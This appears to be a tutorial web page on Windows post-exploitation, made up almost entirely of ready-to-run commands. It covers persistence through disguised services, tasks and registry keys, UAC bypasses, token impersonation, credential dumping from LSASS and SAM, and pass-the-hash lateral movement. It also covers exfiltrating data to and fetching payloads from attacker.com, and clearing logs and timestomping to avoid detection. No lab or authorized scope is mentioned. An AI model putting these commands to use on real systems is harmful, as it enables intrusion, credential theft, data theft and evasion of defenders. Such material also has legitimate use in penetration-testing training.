Advanced post-exploitation techniques for SMB environments. Learn to maintain persistent access, escalate privileges, and move laterally through networks.
# Create persistent service (Windows)
sc create "WindowsUpdate" binpath= "C:\\Windows\\System32\\backdoor.exe" start= auto
sc description "WindowsUpdate" "Critical Windows Update Service"
sc start "WindowsUpdate"
# Alternative with PowerShell
New-Service -Name "SystemHealth" -BinaryPathName "C:\\Windows\\Temp\\backdoor.exe" -StartupType Automatic
Start-Service -Name "SystemHealth"
# Verify service creation
sc query "WindowsUpdate"
Services provide reliable persistence as they automatically start with the system and run with elevated privileges.
# Create scheduled task for persistence
schtasks /create /tn "SystemMaintenance" /tr "C:\\Windows\\System32\\backdoor.exe" /sc onstart /ru system
# Daily execution task
schtasks /create /tn "DailyCleanup" /tr "powershell.exe -WindowStyle Hidden -File C:\\temp\\payload.ps1" /sc daily /st 09:00
# Task triggered by user logon
schtasks /create /tn "UserProfile" /tr "C:\\temp\\backdoor.exe" /sc onlogon
# List created tasks
schtasks /query /tn "SystemMaintenance"
Scheduled tasks provide flexible persistence options with various trigger conditions and execution contexts.
# Registry Run key persistence
reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\\Windows\\System32\\backdoor.exe"
# User-specific persistence
reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "UserAgent" /t REG_SZ /d "C:\\Users\\Public\\agent.exe"
# Service registry modification
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Backdoor" /v "ImagePath" /t REG_EXPAND_SZ /d "C:\\Windows\\System32\\backdoor.exe"
Registry persistence is stealthy and survives reboots, making it ideal for long-term access.
# Meterpreter token impersonation
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
# Alternative with PowerShell
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\\SYSTEM"
# Check current privileges
meterpreter > getuid
whoami /priv
Token impersonation allows assuming the security context of other users or system accounts.
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\\windows\\" | findstr /i /v """
# Check directory permissions
icacls "C:\\Program Files\\Vulnerable Service\\"
# Place malicious executable
copy backdoor.exe "C:\\Program Files\\Vulnerable.exe"
# Restart service to trigger execution
sc stop "VulnerableService"
sc start "VulnerableService"
Unquoted service paths can be exploited when services have spaces in their paths without proper quoting.
# Check service permissions with accesschk
accesschk.exe -uwcqv "Authenticated Users" * | findstr /i "service"
# Check specific service permissions
accesschk.exe -ucqv "VulnerableService"
# Modify service binary path
sc config "VulnerableService" binpath= "C:\\Windows\\System32\\backdoor.exe"
# Restart service
sc stop "VulnerableService"
sc start "VulnerableService"
Services with weak permissions allow modification of their configuration or binary paths.
# UAC bypass with fodhelper
reg add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /v "DelegateExecute" /t REG_SZ
reg add "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command" /ve /d "C:\\Windows\\System32\\cmd.exe" /t REG_SZ
fodhelper.exe
# UAC bypass with eventvwr
reg add "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command" /ve /d "C:\\Windows\\System32\\cmd.exe" /t REG_SZ
eventvwr.exe
UAC bypass techniques exploit trusted Windows binaries to execute code with elevated privileges.
# Extract hashes with Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Pass-the-hash with CrackMapExec
crackmapexec smb 192.168.1.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76
# Execute commands on remote systems
crackmapexec smb 192.168.1.100 -u administrator -H <hash> -x "whoami"
# Dump additional credentials
crackmapexec smb 192.168.1.100 -u administrator -H <hash> --sam
Pass-the-hash allows authentication to other systems using captured NTLM hashes without plaintext passwords.
# PSExec with valid credentials
psexec.py domain/username:password@192.168.1.100
# PSExec with hash authentication
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 administrator@192.168.1.100
# WMI execution
wmiexec.py domain/username:password@192.168.1.100
# SMB execution
smbexec.py domain/username:password@192.168.1.100
Remote execution tools provide interactive shells on target systems through various protocols.
# PowerShell remoting session
$cred = Get-Credential
Enter-PSSession -ComputerName 192.168.1.100 -Credential $cred
# Execute commands remotely
Invoke-Command -ComputerName 192.168.1.100 -Credential $cred -ScriptBlock {whoami}
# WinRM with evil-winrm
evil-winrm -i 192.168.1.100 -u administrator -p password
# WinRM with hash
evil-winrm -i 192.168.1.100 -u administrator -H <hash>
WinRM provides legitimate remote management capabilities that can be leveraged for lateral movement.
# Dump SAM database
reg save HKLM\\SAM C:\\temp\\sam.hive
reg save HKLM\\SYSTEM C:\\temp\\system.hive
# Extract hashes with secretsdump
secretsdump.py -sam sam.hive -system system.hive LOCAL
# Dump LSASS memory with Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Alternative LSASS dump
procdump.exe -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
Credential dumping extracts stored passwords and hashes for further lateral movement.
# Search for sensitive files
dir /s /b C:\\ | findstr /i "password"
dir /s /b C:\\ | findstr /i "config"
# Download files via SMB
smbget -R smb://192.168.1.100/C$/Users/ -U administrator
# Compress and exfiltrate data
powershell Compress-Archive -Path "C:\\Sensitive\\*" -DestinationPath "C:\\temp\\data.zip"
# Exfiltrate via HTTP
powershell Invoke-WebRequest -Uri "http://attacker.com/upload" -Method POST -InFile "C:\\temp\\data.zip"
Systematic file system access allows identification and exfiltration of sensitive business data.
# Domain enumeration with PowerView
Get-Domain
Get-DomainUser | Select-Object name,description
Get-DomainGroup | Select-Object name,description
# BloodHound data collection
SharpHound.exe -c All
# LDAP enumeration
ldapsearch -x -H ldap://dc.domain.com -D "domain\\user" -W -b "dc=domain,dc=com"
# Export domain data
crackmapexec ldap dc.domain.com -u username -p password --users
crackmapexec ldap dc.domain.com -u username -p password --groups
Active Directory enumeration reveals domain structure, users, groups, and potential attack paths.
# Clear Windows event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Clear specific log entries
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4624} | Remove-WinEvent
# Disable logging temporarily
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
# Clear command history
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath
Log manipulation helps avoid detection by removing evidence of malicious activities.
# Modify file timestamps
meterpreter > timestomp C:\\backdoor.exe -f C:\\Windows\\System32\\calc.exe
# PowerShell timestamp modification
$(Get-Item "C:\\backdoor.exe").CreationTime = "01/01/2020 12:00:00"
$(Get-Item "C:\\backdoor.exe").LastWriteTime = "01/01/2020 12:00:00"
# Hide files with attributes
attrib +h +s C:\\backdoor.exe
# Create alternate data streams
echo "malicious content" > C:\\legitimate.txt:hidden.exe
File manipulation techniques help blend malicious files with legitimate system files.
# Process hollowing
meterpreter > migrate <legitimate_process_pid>
# In-memory execution
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"
# Reflective DLL injection
meterpreter > use post/windows/manage/reflective_dll_inject
# Living off the land techniques
rundll32.exe javascript:"\\..\\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://attacker.com/payload.sct")
Memory-based execution and process manipulation help avoid file-based detection mechanisms.
Post-exploitation modules and Meterpreter
Lateral movement and credential dumping
Credential extraction and manipulation
Active Directory attack path analysis
PowerShell-based post-exploitation framework
Commercial adversary simulation platform
Framework for understanding adversary tactics
Comprehensive security testing methodology
Professional vulnerability management